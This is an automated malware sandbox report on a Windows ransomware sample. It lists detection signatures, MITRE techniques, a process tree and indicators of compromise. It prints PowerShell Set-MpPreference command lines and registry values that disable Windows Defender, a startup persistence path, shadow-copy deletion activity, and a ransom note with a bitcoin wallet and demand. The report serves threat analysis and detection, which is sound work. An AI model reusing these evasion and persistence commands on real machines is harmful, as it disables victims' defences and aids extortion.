cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
125s
max time network
149s
platform
windows10-1703_x64
resource
win10-20231023-es
resource tags

arch:x64arch:x86image:win10-20231023-eslocale:es-esos:windows10-1703-x64systemwindows
submitted
21-11-2023 15:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Size

87KB
MD5

d6d956267a268c9dcf48445629d2803e
SHA1

cc0feae505dad9c140dd21d1b40b518d8e61b3a4
SHA256

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850
SHA512

e0791f6eb3116d0590be3af3713c94f787f7ced8e904d4bb8fc0d1341f332053414cb1e9095ae2de041b9e6d6d55cf773bf45ebeb74f27bb95c11a3cc364abee
SSDEEP

1536:OXMLuZQG3KJ3QaIH9shR4fZcvr4C9u3MTIdD9mtthd9JovrgmqhtvM4CoLT6QPbc:gMLuZraJ3a0ehcvv9sM+9mtthd0gmWkr

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral4/memory/4388-0-0x0000000000210000-0x000000000022C000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Blocklisted process makes network request 3 IoCs

Processes:

mshta.exe

flow pid process

17 5508 mshta.exe
18 5508 mshta.exe
19 5508 mshta.exe
Downloads MZ/PE file

flow	pid	process
17	5508	mshta.exe
18	5508	mshta.exe
19	5508	mshta.exe

Drops startup file 1 IoCs

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Executes dropped EXE 1 IoCs

Processes:

ll1opv2k.exe

pid process

2208 ll1opv2k.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

pid	process
2208	ll1opv2k.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n"	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

3068 sc.exe
216 sc.exe
4832 sc.exe
3228 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
3068	sc.exe
216	sc.exe
4832	sc.exe
3228	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
4972	vssadmin.exe
616	vssadmin.exe
2192	vssadmin.exe
3768	vssadmin.exe
4976	vssadmin.exe
2344	vssadmin.exe
2820	vssadmin.exe
736	vssadmin.exe
2204	vssadmin.exe
1176	vssadmin.exe
4224	vssadmin.exe
3420	vssadmin.exe
4496	vssadmin.exe
2816	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4728 taskkill.exe
3472 taskkill.exe
4168 taskkill.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5952 PING.EXE

pid	process
4728	taskkill.exe
3472	taskkill.exe
4168	taskkill.exe

pid	process
5952	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exepowershell.exe

pid	process
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4396	powershell.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exepowershell.exepowershell.exeConhost.exepowershell.exeConhost.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeIncreaseQuotaPrivilege	4396	powershell.exe
Token: SeSecurityPrivilege	4396	powershell.exe
Token: SeTakeOwnershipPrivilege	4396	powershell.exe
Token: SeLoadDriverPrivilege	4396	powershell.exe
Token: SeSystemProfilePrivilege	4396	powershell.exe
Token: SeSystemtimePrivilege	4396	powershell.exe
Token: SeProfSingleProcessPrivilege	4396	powershell.exe
Token: SeIncBasePriorityPrivilege	4396	powershell.exe
Token: SeCreatePagefilePrivilege	4396	powershell.exe
Token: SeBackupPrivilege	4396	powershell.exe
Token: SeRestorePrivilege	4396	powershell.exe
Token: SeShutdownPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeSystemEnvironmentPrivilege	4396	powershell.exe
Token: SeRemoteShutdownPrivilege	4396	powershell.exe
Token: SeUndockPrivilege	4396	powershell.exe
Token: SeManageVolumePrivilege	4396	powershell.exe
Token: 33	4396	powershell.exe
Token: 34	4396	powershell.exe
Token: 35	4396	powershell.exe
Token: 36	4396	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4472	Conhost.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	2596	Conhost.exe
Token: SeDebugPrivilege	68	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	3808	powershell.exe
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeIncreaseQuotaPrivilege	4560	powershell.exe
Token: SeSecurityPrivilege	4560	powershell.exe
Token: SeTakeOwnershipPrivilege	4560	powershell.exe
Token: SeLoadDriverPrivilege	4560	powershell.exe
Token: SeSystemProfilePrivilege	4560	powershell.exe
Token: SeSystemtimePrivilege	4560	powershell.exe
Token: SeProfSingleProcessPrivilege	4560	powershell.exe
Token: SeIncBasePriorityPrivilege	4560	powershell.exe
Token: SeCreatePagefilePrivilege	4560	powershell.exe
Token: SeBackupPrivilege	4560	powershell.exe
Token: SeRestorePrivilege	4560	powershell.exe
Token: SeShutdownPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeSystemEnvironmentPrivilege	4560	powershell.exe
Token: SeRemoteShutdownPrivilege	4560	powershell.exe
Token: SeUndockPrivilege	4560	powershell.exe
Token: SeManageVolumePrivilege	4560	powershell.exe
Token: 33	4560	powershell.exe
Token: 34	4560	powershell.exe
Token: 35	4560	powershell.exe
Token: 36	4560	powershell.exe
Token: SeIncreaseQuotaPrivilege	4232	powershell.exe
Token: SeSecurityPrivilege	4232	powershell.exe
Token: SeTakeOwnershipPrivilege	4232	powershell.exe
Token: SeLoadDriverPrivilege	4232	powershell.exe
Token: SeSystemProfilePrivilege	4232	powershell.exe
Token: SeSystemtimePrivilege	4232	powershell.exe
Token: SeProfSingleProcessPrivilege	4232	powershell.exe
Token: SeIncBasePriorityPrivilege	4232	powershell.exe
Token: SeCreatePagefilePrivilege	4232	powershell.exe
Token: SeBackupPrivilege	4232	powershell.exe
Token: SeRestorePrivilege	4232	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

pid	process
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

pid	process
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe

description	pid	process	target process
PID 4388 wrote to memory of 4396	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4396	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4560	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4560	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4472	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	Conhost.exe
PID 4388 wrote to memory of 4472	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	Conhost.exe
PID 4388 wrote to memory of 4232	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4232	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 2596	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	Conhost.exe
PID 4388 wrote to memory of 2596	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	Conhost.exe
PID 4388 wrote to memory of 68	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 68	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 5028	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 5028	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 3808	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 3808	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4336	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4336	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 3272	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 3272	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 1952	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 1952	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 3276	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 3276	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 2236	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 2236	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	powershell.exe
PID 4388 wrote to memory of 4932	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4932	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3140	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3140	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4140	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4140	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 1596	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 1596	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 2440	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 2440	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4432	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4432	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4180	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4180	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3392	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3392	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 1236	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 1236	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 1652	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 1652	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3592	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3592	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 948	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 948	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 2824	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 2824	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3128	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3128	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4176	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4176	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 2872	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 2872	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4980	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 4980	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3116	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3116	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3048	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe
PID 4388 wrote to memory of 3048	4388	c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
"C:\Users\Admin\AppData\Local\Temp\c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
  2⤵
  PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
  2⤵
  PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:68
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
  2⤵
